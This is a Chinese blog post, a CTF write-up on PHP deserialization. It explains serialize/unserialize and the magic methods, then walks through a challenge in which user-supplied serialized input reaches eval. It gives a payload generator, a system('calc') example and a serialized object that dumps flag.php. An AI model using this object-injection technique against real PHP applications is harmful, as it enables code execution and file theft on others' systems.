PHP反序列化-WriteUp

注意事项:阅读之前先要学会 php 的基础语法,面向对象的一些基础知识

什么是序列化和反序列化

  • 序列化是将对象转换成可存储的字节序列的过程
  • 反序列化是将字节序列恢复为对象

一个简单的实例

  • 序列化 serialize 函数
<?php 

    class a{
	    var $name = "Lixiney";    // 内部变量
	    var $age = "18";         // 内部变量
    }

		$a = new a();       // new 一个对象

		echo serialize($a);          // 输出 序列化的字符串
?>

image-20250913223337798

  • 反序列化 unserialize 函数
<?php 

$str = 'O:1:"a":2:{s:4:"name";s:7:"Lixiney";s:3:"age";s:2:"18";}';  //上一步操作中的序列化后的字符串

$a = unserialize($str);  // 反序列化

echo var_dump($a); // var_dump() 查看变量类型
?>

image-20250913223801807

什么是反序列化漏洞

序列化和反序列化本身没有什么问题,但是当 用户参数可控,而且后台错误的使用了一些危险函数的时候,就会出现安全问题

  • 一些魔法函数
__construct()            //类的构造函数,创建对象时触发

__destruct()             //类的析构函数,对象被销毁时触发

__call()                 //在对象上下文中调用不可访问的方法时触发

__callStatic()           //在静态上下文中调用不可访问的方法时触发

__get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义

__set()                  //在给不可访问属性赋值时触发

__isset()                //当对不可访问属性调用 isset() 或 empty() 时触发

__unset()                //在不可访问的属性上使用unset()时触发

__invoke()               //当尝试以调用函数的方式调用一个对象时触发

__sleep()                //执行serialize()时,先会调用这个方法

__wakeup()               //执行unserialize()时,先会调用这个方法

__toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

接下来我们来逐行解析一下 赛题的代码

<?php
highlight_file(__FILE__);
error_reporting(0);
class a{
    var $act;
    function action(){
        eval($this->act);  // eval函数会将字符串当成php代码执行
    }
}
$a=unserialize($_GET['flag']);    //从get方式传入一个数据
$a->action();   // 执行了 action 函数
?>

首先是 <?php ?> 这个是用来表示php语言的,php 脚本 以 <?php 开始 , 以 ?> 结束

highlight_file() 函数用来高亮显示代码

error_reporting(0) 表示清空本页的报错信息

eval 函数可以将字符串当作php代码执行

例如:

<?php
$str = "phpinfo();";
eval($str);
?>

image-20250913224910091

​ 既然 php 代码可以执行,那我们就可以执行一些危险的命令,如下

<?php 

$str = "system('calc');";   // 执行系统命令 calc 是打开计算器

eval($str);
?>

image-20250913225143367

根据这个原理就可以拿到 flag.php 中的 内容

下面这个代码用来生成 payload

<?php 

class a{
    var $act;
    function action(){
        eval($this->act);
    }
}

$a = new a();
$a -> act = "highlight_file('flag.php');"; 
echo serialize($a);
?>

根据前文所写的 高亮显示代码的函数 可以查看 flag.php 中的内容

O:1:"a":1:{s:3:"act";s:27:"highlight_file('flag.php');";}

image-20250913230645311

提交到 ?flag 拿到flag


PHP反序列化-WriteUp
https://blog.lixey.top/PHP反序列化-WriteUp/
Author
Lixiney
Posted on
September 13, 2025
Licensed under